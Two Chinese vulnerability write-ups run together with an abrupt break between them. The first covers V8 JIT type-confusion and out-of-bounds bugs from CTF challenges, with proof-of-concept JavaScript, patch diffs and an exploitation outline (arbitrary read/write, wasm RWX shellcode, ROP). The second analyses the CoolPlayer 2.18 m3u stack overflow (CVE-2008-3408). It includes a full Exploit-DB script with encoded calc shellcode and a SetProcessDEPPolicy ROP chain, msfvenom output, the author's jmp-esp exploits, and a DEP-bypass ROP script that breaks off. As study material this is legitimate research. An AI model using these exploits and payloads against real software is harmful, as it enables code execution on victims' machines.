DisallowHeapAccess no_heap_access;
// Check if the output type is a singleton. In that case we already know the
// result value and can simply replace the node if it's eliminable.
if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
node->op()->HasProperty(Operator::kEliminatable)) {
// TODO(v8:5303): We must not eliminate FinishRegion here. This special
// case can be removed once we have separate operators for value and
// effect regions.
if (node->opcode() == IrOpcode::kFinishRegion) return NoChange();
// We can only constant-fold nodes here, that are known to not cause any
// side-effect, may it be a JavaScript observable side-effect or a possible
// eager deoptimization exit (i.e. {node} has an operator that doesn't have
// the Operator::kNoDeopt property).
Type upper = NodeProperties::GetType(node);
if (!upper.IsNone()) {
Node* replacement = nullptr;
if (upper.IsHeapConstant()) {
replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
被直接折叠成了false节点。
最后只剩下了对Smi::kMaxValue的CheckBounds。
然而这对我们来说毫无意义。
所以我们的第一步就是构造PoC，bypass掉ConstantFoldingReducer，这一步其实非常简单，只要让NumberLessThan在TyperNarrowingReducer的时候，不被类型更新成false就可以了。
#### case3
function main() {
let arr = [1.1, 2.2, 3.3, 4.4];
let idx = 4;
idx = idx & 0xffff;
return arr[idx];
}
for (i = 0; i < 10000; i++){
main();
}
idx的range取决于20和16号节点，如下。
#21:SpeculativeNumberBitwiseAnd[SignedSmall](#16:NumberConstant, #20:NumberConstant, #17:Checkpoint, #12:JSStackCheck) [Type: Range(0, 4)]
#20:NumberConstant[65535]() [Type: Range(65535, 65535)]
#16:NumberConstant[4]() [Type: Range(4, 4)]
经过以下的typer分析得到range为(0,4)
SPECULATIVE_NUMBER_BINOP(NumberBitwiseAnd)
#define SPECULATIVE_NUMBER_BINOP(Name) \
Type OperationTyper::Speculative##Name(Type lhs, Type rhs) { \
lhs = SpeculativeToNumber(lhs); \
rhs = SpeculativeToNumber(rhs); \
return Name(lhs, rhs); \
}
--->
Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToInt32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
double lmin = lhs.Min();
double rmin = rhs.Min();
double lmax = lhs.Max();
double rmax = rhs.Max();
double min = kMinInt;
// And-ing any two values results in a value no larger than their maximum.
// Even no larger than their minimum if both values are non-negative.
double max =
lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
// And-ing with a non-negative value x causes the result to be between
// zero and x.
if (lmin >= 0) {
min = 0;
max = std::min(max, lmax);
}
if (rmin >= 0) {
min = 0;
max = std::min(max, rmax);
}
return Type::Range(min, max, zone());
}
然后checkbounds的range也被分析成(0,4)
即取index和length的range的交集。
Type OperationTyper::CheckBounds(Type index, Type length) {
DCHECK(length.Is(cache_->kPositiveSafeInteger));
if (length.Is(cache_->kSingletonZero)) return Type::None();
Type mask = Type::Range(0.0, length.Max() - 1, zone());
if (index.Maybe(Type::MinusZero())) {
index = Type::Union(index, cache_->kSingletonZero, zone());
}
return Type::Intersect(index, mask, zone());
}
...
#35:CheckBounds[VectorSlotPair(INVALID)](#21:SpeculativeNumberBitwiseAnd, #34:NumberConstant, #33:LoadField, #12:JSStackCheck) [Type: Range(0, 4)]
于是NumberLessThan的left_type即CheckBounds(实际上当成index也可以理解)的范围不再是(4,4)，而是被分析成了(0,4)
不再满足`left_type.Min() >= right_type.Max())`
也就不会被折叠了。
于是最终的PoC就可以给出
function main() {
let arr = [1.1, 2.2, 3.3, 4.4];
let idx = 4;
idx = idx & 0xffff;
return arr[idx];
}
for (i = 0; i < 10000; i++){
console.log(main());
}
...
...
sakura@sakuradeMacBook-Pro:~/Desktop/v8/v8/out/gn$ ./d8 poc.js
-1.1885946300594787e+148
### 漏洞利用
有了越界读写一个element的原语,接下来就是构建完整的漏洞利用。
思路是：
首先分配两个array，一个double array，一个object array
然后通过覆盖object array的map为double map，就可以将其中的用户空间对象leak出来。
然后在array的elments去fake一个arraybuffer。
然后通过将double array的map覆盖成object array，就可以将fake好的arraybuffer给当成object给取出来。
而这个fake的arraybuffer的内容是我们可控的，于是就可以任意地址读写了。
接下来就是找到wasm_func里rwx的地址，将shellcode写入执行即可。
详细的思路参考我写的[*ctf 2019 OOB](http://eternalsakura13.com/2019/04/29/*ctf_oob/)
exp。
## wctf independence_day
### 漏洞分析
diff --git a/src/objects/code.cc b/src/objects/code.cc
index 24817ca65c..4079f6077d 100644
--- a/src/objects/code.cc
+++ b/src/objects/code.cc
@@ -925,6 +925,7 @@ void DependentCode::InstallDependency(Isolate* isolate,
const MaybeObjectHandle& code,
Handle<HeapObject> object,
DependencyGroup group) {
+#if 0
Handle<DependentCode> old_deps(DependentCode::GetDependentCode(object),
isolate);
Handle<DependentCode> new_deps =
@@ -932,6 +933,7 @@ void DependentCode::InstallDependency(Isolate* isolate,
// Update the list head if necessary.
if (!new_deps.is_identical_to(old_deps))
DependentCode::SetDependentCode(object, new_deps);
+#endif
}
Handle<DependentCode> DependentCode::InsertWeakCode(
commit 3794e5f0eeee3d421cc0d2a8d8b84ac82d37f10d
Author: Your Name <[email protected]>
Date: Sat Dec 15 18:21:08 2018 +0100
strip global in realms
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 98bc56ad25..e72f528ae5 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1043,9 +1043,8 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate), v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
题目给了两个patch，第一个patch是禁用了code dependencies，第二个patch应该是禁用了wasm这种利用方法。
要理解这个patch，就要知道v8中不止有
实际上注册对arr的type的dependencies的地方在ReduceElementAccess的BuildCheckMaps中，换句话说，如果我们要check的map是stableMap，就直接注册一个
compilation dependencies的回调到map中。
如果不是，就插入一个checkMap节点到effect chain中。
可以学习一下[这个漏洞](https://ssd-disclosure.com/archives/3379)，很有趣。
Reduction JSNativeContextSpecialization::ReduceElementAccess(
...
// Perform map check on the {receiver}.
access_builder.BuildCheckMaps(receiver, &effect, control,
access_info.receiver_maps());
...
void PropertyAccessBuilder::BuildCheckMaps(
Node* receiver, Node** effect, Node* control,
ZoneVector<Handle<Map>> const& receiver_maps) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
MapRef receiver_map = m.Ref(broker()).map();
if (receiver_map.is_stable()) {
for (Handle<Map> map : receiver_maps) {
if (MapRef(broker(), map).equals(receiver_map)) {
dependencies()->DependOnStableMap(receiver_map);
return;
}
}
}
}
ZoneHandleSet<Map> maps;
CheckMapsFlags flags = CheckMapsFlag::kNone;
for (Handle<Map> map : receiver_maps) {
MapRef receiver_map(broker(), map);
maps.insert(receiver_map.object(), graph()->zone());
if (receiver_map.is_migration_target()) {
flags |= CheckMapsFlag::kTryMigrateInstance;
}
}
*effect = graph()->NewNode(simplified()->CheckMaps(flags, maps), receiver,
*effect, control);
}
而这个patch就是把install compile dependency的代码给禁用了，所以如果我们使用一个stable
map的arr，将不会有任何的类型检查，于是就有了一个type confusion。
### IR分析
#### case1
非stable map
#### case2
stable map
所以给出poc如下：
arr = [1.1, 2.2, 3.3,4.4];
// make the map stable
arr.x = 1;
function foo(idx) {
return arr[idx];
}
// optimize foo
for (i = 0; i < 100000; i++){
foo(1);
}
// change arr to dictionary map
arr[0x100000] = 5.5;
console.log(foo(1000));
...
...
sakura@sakuradeMacBook-Pro:~/Desktop/v8/v8/out/gn$ ./d8 poc.js
-1.1885946300594787e+148
### 漏洞利用
stephen给出了一种非常精巧的漏洞利用方法，而不是使用wasm rwx内存，实际上这个迟早要被禁用。
通过poc我们很容易就可以得到任意地址读写的原语。
为了构建rop链，我们可以使用如下的方法，来自stephen，非常感谢。
1. leak a binary pointer from the heap
2. read pointer to kernel32 from IAT
3. read kernelbase pointer from IAT of kernel32
4. There's a stack pointer stored in a struct at KERNELBASE!BasepCurrentTopLevelFilter+8
5. ROP
另外如果challenge只给了v8 binary，而是给了一个chromium的话，也可以参考我博客上关于bug-906043的漏洞利用。 | 社区文章 |
# CoolPlayer bypass DEP(CVE-2008-3408)分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境搭建
CoolPlayer 是一款MP3播放软件，功能丰富，界面美观，十年前就已经停止更新，但直至现在依然还有人在下载使用
根据[exploitdb](https://www.exploit-db.com/exploits/15895)，CoolPlayer
2.18在处理`m3u`文件时，存在栈溢出，并且可以绕过`DEP`执行代码。
根据[维基百科](https://zh.wikipedia.org/wiki/M3U)对`m3u`文件的解释
M3U文件是一种纯文本文件，可以指定一个或多个多媒体文件的位置，其文件扩展名是“M3U”或者“m3u”。
M3U文件具有多个条目，每个条目的格式可以是以下几种格式之一：
一个绝对路径；比如：C:My MusicHeavysets.mp3
一个相对路径（相对于M3U文件的路径）；比如：Heavysets.mp3
一个URL
M3U文件也有注释，注释行以"#"字符开头，在扩展M3U文件中，"#"还引入了扩展M3U指令。
M3U文件的作用通常是创建指向在线流媒体的播放列表，创建的文件可以轻松访问流媒体。M3U文件通常作为网站的下载资源、通过email收发，并可以收听网络电台。
如果使用编辑器编辑M3U文件，必须将该文件用Windows-1252格式保存，这种格式是ASCII编码的超集。M3U文件也可以使用Latin-1字符编码。
简单点可以理解，`m3u`是是一种存放文件列表的文本文件(理解这个，对下面的分析很重要)。
利用的`exploit`
# Exploit Title: CoolPlayer 2.18 DEP Bypass
# Date: January 2, 2011
# Author: Blake
# Version: 2.18
# Tested on: Windows XP SP3 running in Virtualbox
# Uses SetProcessDEPPolicy() to disable DEP for the process
# Thanks to mr_me for the encouragement
# Exploit-DB Notes: May not work on all Win XP SP3 machines
print "n============================"
print "CoolPlayer 2.18 DEP Bypass"
print "Written by Blake"
print "============================n"
# windows/exec calc.exe 227 bytes - 240 bytes of shellcode space available
shellcode =(
"xdaxdaxd9x74x24xf4xbfxe7x18x22xfbx2bxc9xb1x33"
"x5ex31x7ex17x83xeexfcx03x99x0bxc0x0ex99xc4x8d"
"xf1x61x15xeex78x84x24x3cx1excdx15xf0x54x83x95"
"x7bx38x37x2dx09x95x38x86xa4xc3x77x17x09xccxdb"
"xdbx0bxb0x21x08xecx89xeax5dxedxcex16xadxbfx87"
"x5dx1cx50xa3x23x9dx51x63x28x9dx29x06xeex6ax80"
"x09x3exc2x9fx42xa6x68xc7x72xd7xbdx1bx4ex9exca"
"xe8x24x21x1bx21xc4x10x63xeexfbx9dx6exeex3cx19"
"x91x85x36x5ax2cx9ex8cx21xeax2bx11x81x79x8bxf1"
"x30xadx4ax71x3ex1ax18xddx22x9dxcdx55x5ex16xf0"
"xb9xd7x6cxd7x1dxbcx37x76x07x18x99x87x57xc4x46"
"x22x13xe6x93x54x7ex6cx65xd4x04xc9x65xe6x06x79"
"x0exd7x8dx16x49xe8x47x53xabx19x5ax49x3cx80x0f"
"x30x20x33xfax76x5dxb0x0fx06x9axa8x65x03xe6x6e"
"x95x79x77x1bx99x2ex78x0exfaxb1xeaxd2xd3x54x8b"
"x71x2c")
buffer = "x41" * 220
eip = "x28xb0x9fx7c" # POP ECX / RETN - SHELL32.DLL 7C9FB028
offset1 = "x42" * 4
nop = "x90" * 10
# put zero in EBX
rop = "xddxadx9ex7c" # POP EBX / RETN - SHELL32.DLL 7C9EADDD
rop += "xffxffxffxff" # placed into ebx
rop += "xe1x27xc1x77" # INC EBX / RETN - MSVCRT.DLL 77C127E1
# set EBP to point to SetProcessDEPPolicy
rop += "x7bxa6x9ex7c" # POP EBP / RETN - SHELL32.DLL 7C9EA67B
rop += "xa4x22x86x7c" # address of SetProcessDEPPolicy XP SP3
# set EDI as a pointer to RET (rop nop)
rop += "x47xebx9ex7c" # POP EDI / RETN - SHELL32.DLL 7C9EEB47
rop += "x08x15x9cx7c" # RETN - SHELL32.DLL 7C9C1508
# set ESI as a pointer to RET (rop nop)
rop += "x4cx20x9cx7c" # POP ESI / RETN - SHELL32.DLL 7C9C204C
rop += "x51x20x9cx7c" # RETN - SHELL32.DLL 7C9C2051
# set ESP to point at nops
rop += "x73x10xa1x7c" # PUSHAD / RETN - SHELL32.DLL 7CA11073
print "[*] Creating malicious m3u file"
try:
file = open("exploit.m3u","w")
file.write(buffer + eip + offset1 + rop + nop + shellcode)
file.close()
print "[*] File created"
except:
print "[x] Error creating file!"
raw_input("nPress any key to exit...")
[软件地址(包含源码和二进制可执行程序)](https://sourceforge.net/projects/coolplayer/files/Coolplayer/218/)
测试环境
windows cn xp sp3
windbg
vc 6.0
immunity debugger/mona.py
## 漏洞分析
`mona`生成匹配串，之后利用`windbg`直接跑，可以发现溢出出错了
但是这里有个很奇怪的一点，调用栈没用。无法根据调用栈回溯到出错位置。试了各种各样的办法，也确定了溢出长度为`260`，使用`264`长度的串，依然无法观察到。尝试查看所有线程的调用栈，看看是否能够发现什么
其中唯独有关的位置`image00400000+0xdbd6(40dbd6)`，利用`IDA`查看，依然也没有发现
由于分析经验不足，尝试了各种各样的方法，但是依然没有解决这个问题，找不到出错的位置。最后实在没有办法就想起了直接啃源码，这种比较笨拙的办法了。
## 源码分析
源码整体的框架
是使用`VC6.0`这种上古神器编译的，其实也就可以知道了，是可以绕过`DEP`的，这里暂时不谈。
`main.c`结构
细看一下`WinMain`，是一个完整的`windows`消息处理程序，找到窗口处理过程，查看功能实现代码，其`WM_LBUTTONUP`实现了其窗口的各种功能，包括下一首，上一首，皮肤处理等等。
case WM_LBUTTONUP:
{
int teller;
ReleaseCapture();
globals.main_bool_slider_keep_focus = FALSE;
cursorpos = MAKEPOINTS(lParam);
for (teller = PlaySwitch; teller <= ExitButton; teller++)
{
if (cursorpos.x >= Skin.Object[teller].x
&& cursorpos.y >= Skin.Object[teller].y
&& cursorpos.x <=
Skin.Object[teller].x + Skin.Object[teller].w
&& cursorpos.y <=
Skin.Object[teller].y + Skin.Object[teller].h)
{
switch (teller)
{
case PlaySwitch:
main_play_control(ID_PLAY, hWnd);
break;
case PauseSwitch:
main_play_control(ID_PAUSE, hWnd);
break;
case StopSwitch:
main_play_control(ID_STOP, hWnd);
break;
case RepeatSwitch:
main_play_control(ID_REPEAT, hWnd);
break;
case ShuffleSwitch:
main_play_control(ID_SHUFFLE, hWnd);
break;
case EqSwitch:
main_play_control(ID_EQUALIZER, hWnd);
break;
case PlaylistButton:
main_play_control(ID_PLAYLIST, hWnd);
break;
case NextButton:
main_play_control(ID_NEXT, hWnd);
break;
case PrevButton:
main_play_control(ID_PREVIOUS, hWnd);
break;
case MinimizeButton:
if (options.show_on_taskbar)
ShowWindow(hWnd, SW_MINIMIZE);
else
ShowWindow(hWnd, SW_HIDE);
break;
case NextSkinButton:
main_play_control(ID_LOADSKIN, hWnd);
break;
case ExitButton:
DestroyWindow(hWnd);
break;
case EjectButton:
main_play_control(ID_LOAD, hWnd);
break;
}
}
}
// options.show_remaining_time time
if (cursorpos.x >= Skin.Object[TimeText].x
&& cursorpos.y >= Skin.Object[TimeText].y
&& cursorpos.x <=
(Skin.Object[TimeText].x + (Skin.Object[TimeText].w * 8))
&& cursorpos.y <=
(Skin.Object[TimeText].y + Skin.Object[TimeText].h))
{
options.show_remaining_time = !options.show_remaining_time;
main_draw_time(hWnd);
break;
}
main_draw_controls_all(hWnd);
break;
}
跟我们最相关的是这里
case EjectButton:
main_play_control(ID_LOAD, hWnd);
跟进查看`ID_LOAD`的处理代码
int main_play_control(WORD wParam, HWND hWnd)
{
...
case ID_LOAD:
CPVERB_OpenFile(vaDoVerb, hWnd);
break;
...
}
继续跟进
void CPVERB_OpenFile(const CPe_VerbAction enAction, void* _pParam)
{
if (enAction == vaDoVerb)
{
if (playlist_open_file(TRUE))
CPL_PlayItem(globals.m_hPlaylist, TRUE, pmCurrentItem);
}
else if (enAction == vaQueryName)
{
CPs_VerbQueryName* pParam = (CPs_VerbQueryName*)_pParam;
if (stricmp(pParam->m_pcName, "OpenFile") == 0)
pParam->m_bNameMatched = TRUE;
}
}
其实联系上两步，可以发现`enAction == vaDoVerb`，因为`enAction`就是`vaDoVerb`
跟进`playlist_open_file(TRUE)`
int playlist_open_file(BOOL clearlist)
{
OPENFILENAME fn;
char filefilter[] =
"All Supported files*.mp1;*.mp2;*.mp3;*.m3u;*.pls;*.wav;*.ogg"
"MPEG audio files (*.mp1;*.mp2;*.mp3)*.mp1;*.mp2;*.mp3"
"Vorbis files (*.ogg)*.ogg"
"Playlist files (*.m3u;*.pls)*.m3u;*.pls"
"WAV files (*.wav)*.wav"
"All Files (*.*)*.*";
...
returnval = GetOpenFileName(&fn);
if (returnval != FALSE)
{
char *newfilename;
char path_buffer[_MAX_PATH];
char path_buffer2[_MAX_PATH];
if (clearlist)
CPL_Empty(globals.m_hPlaylist);
strcpy(path_buffer, fn.lpstrFile);
if (path_is_directory(fn.lpstrFile) == TRUE)
{
path_add_backslash(path_buffer);
}
else
{
path_remove_filespec(path_buffer);
}
strcpy(options.last_used_directory, path_buffer);
newfilename = fn.lpstrFile + fn.nFileOffset;
while (newfilename[0] != 0)
{
strcpy(path_buffer2, path_buffer);
strcat(path_buffer2, newfilename);
CPL_SyncLoadNextFile(globals.m_hPlaylist);
CPL_AddFile(globals.m_hPlaylist, path_buffer2);
newfilename = newfilename + strlen(newfilename) + 1;
}
return 1;
}
return 0;
}
其主要的功能就是
1. 设置可以打开的文件后缀白名单
2. 获取打开的文件名
3. 构建文件的绝对路径名
根据分析，函数`CPL_AddFile`会根据绝对路径名去处理文件，继续跟进。该函数首先会判断文件的类型，获取文件的大小，获取文件目录字符串长度等，再根据不同的类型进入不同的分支进行处理，而且还可以从网络上下载文件进行处理。从`1249`行去处理`m3u`文件。
void CPL_AddFile(CP_HPLAYLIST hPlaylist, const char* pcFilename)
{
...
// Check for known file types
enFileType = CPL_GetFileType(pcFilename);
...
// Get playlist file information
iPlaylist_VolumeBytes = CPL_GetPathVolumeBytes(pcFilename);
iPlaylist_DirectoryBytes = CPL_GetPathDirectoryBytes(pcFilename, iPlaylist_VolumeBytes); // 这里很重要！！！！
...
// 开始处理m3u文件
// It's not a URL, so we will read the file from a local (UNC) resource
hFile = CreateFile(pcFilename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
const DWORD dwFileSize = GetFileSize(hFile, NULL);
// We will only load playlists that are smaller than 256K
if (dwFileSize < 0x40000)
{
// The plan is to load the entire file into a memblock and then split it into lines
// and scan off the whitepace and add the items to the list
pcPlaylistBuffer = (char *)malloc(dwFileSize + 1);
ReadFile(hFile, pcPlaylistBuffer, dwFileSize, &dwBytesRead, NULL);
// Read in the file line by line
iLastLineStartIDX = 0;
for (iCharIDX = 0; iCharIDX < dwFileSize + 1; iCharIDX++)
{
if ((pcPlaylistBuffer[iCharIDX] == 'r' || pcPlaylistBuffer[iCharIDX] == 'n' || iCharIDX == dwFileSize) && iLastLineStartIDX < iCharIDX)
{
char cBuffer[512];
// Is there a file on this line (strip whitespace from start)
if (sscanf(pcPlaylistBuffer + iLastLineStartIDX, " %512[^rn]", cBuffer) == 1)
{
// Something has been read - ignore lines starting with #
if (cBuffer[0] != '#')
CPL_AddPrefixedFile(hPlaylist, cBuffer, NULL, pcFilename, iPlaylist_VolumeBytes, iPlaylist_DirectoryBytes);
}
// Set the line start for the next line
if (pcPlaylistBuffer[iCharIDX + 1] == 'n')
iCharIDX++;
iLastLineStartIDX = iCharIDX + 1;
}
}
free(pcPlaylistBuffer);
}
CloseHandle(hFile);
}
其中`for`循环，根据列表文件，一次处理一行，由于代码量比较大，并且这块的处理逻辑很重要，我截一个图，再做一些标注，好方便理解。
跟进函数`CPL_AddPrefixedFile`
void CPL_AddPrefixedFile(CP_HPLAYLIST hPlaylist,
const char* pcFilename, const char* pcTitle,
const char* pcPlaylistFile,
const unsigned int iPlaylist_VolumeBytes,
const unsigned int iPlaylist_DirBytes)
{
const unsigned int iFile_VolumeBytes = CPL_GetPathVolumeBytes(pcFilename);
// If the file has volume information - add it as it is
if (iFile_VolumeBytes)
CPL_AddSingleFile(hPlaylist, pcFilename, pcTitle);
// If the filename has a leading then add it prepended by the playlist's volume
else if (pcFilename[0] == '\')
{
char cFullPath[MAX_PATH];
memcpy(cFullPath, pcPlaylistFile, iPlaylist_VolumeBytes);
strcpy(cFullPath + iPlaylist_VolumeBytes, pcFilename + 1);
CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle);
}
// Add the filename prepended by the playlist's directory
else
{
char cFullPath[MAX_PATH];
memcpy(cFullPath, pcPlaylistFile, iPlaylist_DirBytes);
strcpy(cFullPath + iPlaylist_DirBytes, pcFilename); // 溢出位置
CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle);
}
}
根据分析，最后执行的会是这里
char cFullPath[MAX_PATH];
memcpy(cFullPath, pcPlaylistFile, iPlaylist_DirBytes);
strcpy(cFullPath + iPlaylist_DirBytes, pcFilename);
CPL_AddSingleFile(hPlaylist, cFullPath, pcTitle);
首先定义绝对路径字符串，`MAX_PATH`定义
#ifndef MAX_PATH
#define MAX_PATH 1024
#endif
这里其实`windows`定义了`MAX_PATH`，值为`260`，具体可以参考[stackoverflow的讨论](https://stackoverflow.com/questions/1880321/why-does-the-260-character-path-length-limit-exist-in-windows)，从`ida`逆向代码也可以验证这个结果，这里也决定了最长长度只要超过`260`，肯定会导致溢出
第二步，复制目录长度大小的数据到数组中
这步很关键，我在测试中，会将测试的`m3u`放在很多不同的目录下，比如桌面，c盘，导致溢出长度不停的变化，我也没有理解为什么。从源码中，可以发现目录的长度是占用溢出字符空间的！这也就导致了不同目录长度，`m3u`文件肯定不同。经过测试，`m3u`文件放在c盘根目录，溢出长度正好是`260`。
第三步，将`pcFilename`利用`strcpy`复制到`cFullPath`中，而`cFullPath`是从函数`CPL_AddFile`中读取出来的`cBuffer`，也就是`m3u`中的每行数据。之后
void CPL_AddSingleFile(CP_HPLAYLIST hPlaylist, const char* pcPath, const char* pcTitle)
并不会改变`cFullPath`的数据，到这里栈溢出导致的漏洞原因分析清楚了。
## 漏洞利用
### jmp esp
首先使用`msfvenom`生成`shellcode`
root@kali32:~# msfvenom -a x86 --platform windows -p windows/exec cmd=calc -b "x00x0ax0d" -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 284 (iteration=0)
x86/shikata_ga_nai chosen with final size 284
Payload size: 220 bytes
Final size of python file: 1366 bytes
buf = ""
buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b"
buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71"
buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79"
buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e"
buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4"
buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34"
buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf"
buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a"
buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23"
buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73"
buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52"
buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3"
buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c"
buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88"
buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0"
buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66"
buf += "xe3x64x3ex05x62xf7xa2xca"
生成`exploit`
dump = 'x41' * 260
EIP = 'x53x93xd2x77' #jmp esp address
buf = ""
buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b"
buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71"
buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79"
buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e"
buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4"
buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34"
buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf"
buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a"
buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23"
buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73"
buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52"
buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3"
buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c"
buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88"
buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0"
buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66"
buf += "xe3x64x3ex05x62xf7xa2xca"
fp = open("jmp_esp.m3u", "w")
fp.write(dump + EIP + buf)
fp.close()
放在c盘下，打开文件测试
`shellcode`竟然崩了，用`windbg`检查
在返回前`40c9b6`设下断点，进入`shellcode`调试看看到底哪里出现了问题
`shellcode`开始处代码
0:000> u esp
<Unloaded_ud.drv>+0x122203:
00122204 dbda fcmovnu st,st(2)
00122206 d97424f4 fnstenv [esp-0Ch]
0012220a bf2f939d5c mov edi,5C9D932Fh
0012220f 58 pop eax
00122210 2bc9 sub ecx,ecx
00122212 b130 mov cl,30h
00122214 317818 xor dword ptr [eax+18h],edi
00122217 83e8fc sub eax,0FFFFFFFCh
继续调试
可以发现执行完`fnstenv [esp-0Ch]`，原先的`shellcode`指令已经被改写了。
继续执行，出错了
其实这里花了很长时间搞清楚到底怎么回事，因为`shellcode`是通过`msfvenom`生成的，正常情况下，不应该出现这样的问题。`shellcode`竟然将自己的代码空间栈改写了。经过长时间的搜索，发现了问题所在
在这本[书](https://books.google.com/books?id=sEobCgAAQBAJ&pg=PA77&lpg=PA77&dq=fnstenv+%5Besp-0Ch%5D&source=bl&ots=pCoAeaJQuQ&sig=1RR3SlhA1CK0IX_TwJ1wKtzql5o&hl=en&sa=X&ved=2ahUKEwjiwIiv64jfAhXIwMQHHXDoDngQ6AEwEXoECAMQAQ#v=onepage&q=fnstenv%20%5Besp-0Ch%5D&f=false)里，提到了这个问题
大概的意思就是`fnstenv
[esp-0Ch]`会改写从`esp-0ch`开始的`28`字节数据，所以为了保证从`esp`开始的数据不被重写，重新生成`exploit`文件
dump = 'x41' * 260
EIP = 'x53x93xd2x77' #jmp esp address
buf = ""
buf += "xdbxdaxd9x74x24xf4xbfx2fx93x9dx5cx58x2b"
buf += "xc9xb1x30x31x78x18x83xe8xfcx03x78x3bx71"
buf += "x68xa0xabxf7x93x59x2bx98x1axbcx1ax98x79"
buf += "xb4x0cx28x09x98xa0xc3x5fx09x33xa1x77x3e"
buf += "xf4x0cxaex71x05x3cx92x10x85x3fxc7xf2xb4"
buf += "x8fx1axf2xf1xf2xd7xa6xaax79x45x57xdfx34"
buf += "x56xdcx93xd9xdex01x63xdbxcfx97xf8x82xcf"
buf += "x16x2dxbfx59x01x32xfax10xbax80x70xa3x6a"
buf += "xd9x79x08x53xd6x8bx50x93xd0x73x27xedx23"
buf += "x09x30x2ax5exd5xb5xa9xf8x9ex6ex16xf9x73"
buf += "xe8xddxf5x38x7exb9x19xbex53xb1x25x4bx52"
buf += "x16xacx0fx71xb2xf5xd4x18xe3x53xbax25xf3"
buf += "x3cx63x80x7fxd0x70xb9xddxbex87x4fx58x8c"
buf += "x88x4fx63xa0xe0x7exe8x2fx76x7fx3bx14x88"
buf += "x35x66x3cx01x90xf2x7dx4cx23x29x41x69xa0"
buf += "xd8x39x8exb8xa8x3cxcax7ex40x4cx43xebx66"
buf += "xe3x64x3ex05x62xf7xa2xca"
junk = 'x41' * 20
fp = open("jmp_esp.m3u", "w")
fp.write(dump + EIP + junk + buf)
fp.write(buf)
fp.close()
成功弹窗
这里还有一点需要注意，如果有想使用`MessageBox`弹窗的，并且利用`msfvenom`生成`shellcode`，会造成弹窗失败
可以注意一下`payload`的长度为`284`字节，加上溢出长度`260`字节，总长度是`544`字节，查看源码
if(sscanf(pcPlaylistBuffer + iLastLineStartIDX, " %512[^rn]", cBuffer) == 1) <====
{
// Something has been read - ignore lines starting with #
if(cBuffer[0] != '#')
CPL_AddPrefixedFile(hPlaylist, cBuffer, NULL, pcFilename, iPlaylist_VolumeBytes, iPlaylist_DirectoryBytes);
}
可以看到`cBuffer`最大长度不会超过`512`，超过的话`shellcode`就会被截断。
测试一下
可以看到`shellcode`确实被截断了。
### bypass DEP
利用`SetProcessDepProcy`绕过`DEP`
#encoding:utf-8
import struct
dump = 'x90' * 260
ROP = ''
ROP += struct.pack('<L',0x7711ab55) # POP EBX / RET
ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
ROP += struct.pack('<L',0x5d184ec0) # INC EBX / RET
ROP += struct.pack('<L',0x77119293) # POP EBP / RET
ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy
ROP += struct.pack('<L',0x77114aa1) # POP EDI / RET
